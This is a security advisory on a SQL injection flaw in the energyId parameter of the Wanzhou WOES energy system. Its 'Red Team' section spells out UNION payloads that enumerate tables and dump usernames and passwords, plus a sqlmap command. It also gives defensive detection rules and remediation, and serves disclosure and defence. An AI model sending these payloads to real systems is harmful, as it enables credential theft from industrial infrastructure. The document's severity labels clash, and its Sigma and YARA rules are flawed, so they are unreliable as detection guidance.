CVE-2025-8703

Executive Summary

CVE-2025-8703 is a critical SQL injection vulnerability in the Wanzhou WOES Intelligent Optimization Energy Saving System version 1.0. The flaw resides in the /WEAS_HomePage/GetAreaTrendChartData endpoint of the Environmental Real-Time Data Module. By manipulating the energyId parameter, an unauthenticated remote attacker can inject arbitrary SQL commands, potentially leading to data exfiltration, credential theft, or full system compromise. The exploit has been publicly disclosed, and no official patch is available. This vulnerability poses a significant risk to industrial control systems (ICS) and energy management infrastructure.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary web application component of the Wanzhou WOES system, typically deployed in on-premises industrial environments.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited data modification.
• Availability Impact: Low (A:L) – limited service disruption.

Threat Level: High due to public exploit availability, no patch, and potential for lateral movement in ICS networks.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the energyId parameter of the GetAreaTrendChartData endpoint. The application likely constructs a SQL query by directly concatenating user input without sanitization or parameterized queries.

Example vulnerable code pattern (inferred):

SELECT * FROM EnergyData WHERE energyId = '" + request.getParameter("energyId") + "'

An attacker can inject a single quote to break out of the string context and append malicious SQL. For example:

energyId=1' OR '1'='1

This would result in:

SELECT * FROM EnergyData WHERE energyId = '1' OR '1'='1'

Returning all rows from the table.

More advanced payloads can use UNION-based injection to extract data from other tables, or time-based blind injection to enumerate the database schema.

Impact:

• Data exfiltration of sensitive energy consumption data, user credentials, or system configuration.
• Potential for privilege escalation if the database user has elevated permissions.
• In worst-case scenarios, attackers could leverage xp_cmdshell (if SQL Server) or INTO OUTFILE (if MySQL) to achieve remote code execution on the database server.

Vulnerable vs. Patched Code

Vulnerable Code (inferred):

String energyId = request.getParameter("energyId");
String query = "SELECT * FROM EnergyData WHERE energyId = '" + energyId + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (recommended):

String energyId = request.getParameter("energyId");
String query = "SELECT * FROM EnergyData WHERE energyId = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, energyId);
ResultSet rs = pstmt.executeQuery();

The patched version uses parameterized queries (PreparedStatement) to ensure user input is treated as data, not executable code. Additionally, input validation (e.g., whitelisting allowed characters) should be implemented.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target system running Wanzhou WOES 1.0.
• Network access to the /WEAS_HomePage/GetAreaTrendChartData endpoint.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   GET /WEAS_HomePage/GetAreaTrendChartData?energyId=1
   

2. Confirm SQL injection:

   GET /WEAS_HomePage/GetAreaTrendChartData?energyId=1'
   

   If an error (e.g., SQL syntax error) or different response is returned, the endpoint is vulnerable.

3. Extract database version (MySQL example):

   GET /WEAS_HomePage/GetAreaTrendChartData?energyId=1 UNION SELECT 1,@@version,3,4,5--
   

4. Enumerate tables (MySQL example):

   GET /WEAS_HomePage/GetAreaTrendChartData?energyId=1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()--
   

5. Dump credentials (if users table exists):

   GET /WEAS_HomePage/GetAreaTrendChartData?energyId=1 UNION SELECT 1,group_concat(username,':',password),3,4,5 FROM users--
   

Automated Exploitation (sqlmap):

sqlmap -u "http://target/WEAS_HomePage/GetAreaTrendChartData?energyId=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor web server logs for abnormal SQL keywords in the energyId parameter (e.g., UNION, SELECT, OR, AND, --, #).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use database activity monitoring to detect anomalous queries.

Honeypot:

• Set up a decoy endpoint that mimics the vulnerable behavior and alerts on any interaction.

Network Segmentation:

• Isolate the WOES system from the corporate network and the internet. Use strict firewall rules to limit access to only necessary IPs.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /WEAS_HomePage/GetAreaTrendChartData with unusual energyId values containing SQL syntax.
• Outbound database connections from the web server to unexpected IPs (data exfiltration).
• DNS queries to known C2 domains (if attacker establishes persistence).

File IOCs:

• Suspicious files in the web root (e.g., webshells like cmd.aspx, shell.jsp).
• Modified application configuration files (e.g., web.config, application.properties).

System IOCs:

• Unusual database users or permissions.
• New scheduled tasks or services on the database server.
• Unexpected processes (e.g., cmd.exe, bash) spawned by the database service.

Detection Engineering

YARA Rule

rule CVE_2025_8703_SQLi_EnergyId {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-8703 in Wanzhou WOES"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8703"
    strings:
        $s1 = "energyId=" nocase
        $s2 = "' OR " nocase
        $s3 = " UNION " nocase
        $s4 = " SELECT " nocase
        $s5 = "1=1" nocase
        $s6 = "1'--" nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against Wanzhou WOES GetAreaTrendChartData
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in the energyId parameter of the WOES endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "energyId="
            - "' OR "
            - " UNION "
            - " SELECT "
            - "1=1"
            - "1'--"
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a non-SQL context (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-8703 SQL Injection Attempt - Wanzhou WOES";
    flow:to_server,established;
    content:"/WEAS_HomePage/GetAreaTrendChartData"; http_uri;
    content:"energyId="; http_uri;
    pcre:"/(\bUNION\b|\bSELECT\b|\bOR\b|\bAND\b|1=1|1'--)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: Disconnect the WOES server from the internet and restrict network access to only trusted IPs.
2. Apply virtual patching: Use a WAF to block SQL injection patterns in the energyId parameter.
3. Monitor logs: Review web server and database logs for signs of exploitation.

Long-term Fix:

• Code fix: Implement parameterized queries (PreparedStatement) for all database interactions.
• Input validation: Whitelist allowed characters for the energyId parameter (e.g., only digits).
• Update: Contact the vendor for an official patch. If unavailable, consider migrating to a different solution.

Compensating Controls:

• Deploy a database firewall to monitor and block malicious queries.
• Implement least-privilege database accounts (e.g., read-only for the web application).
• Enable detailed logging and alerting for all database operations.

Valters IT – Securing Industrial Control Systems One Patch at a Time.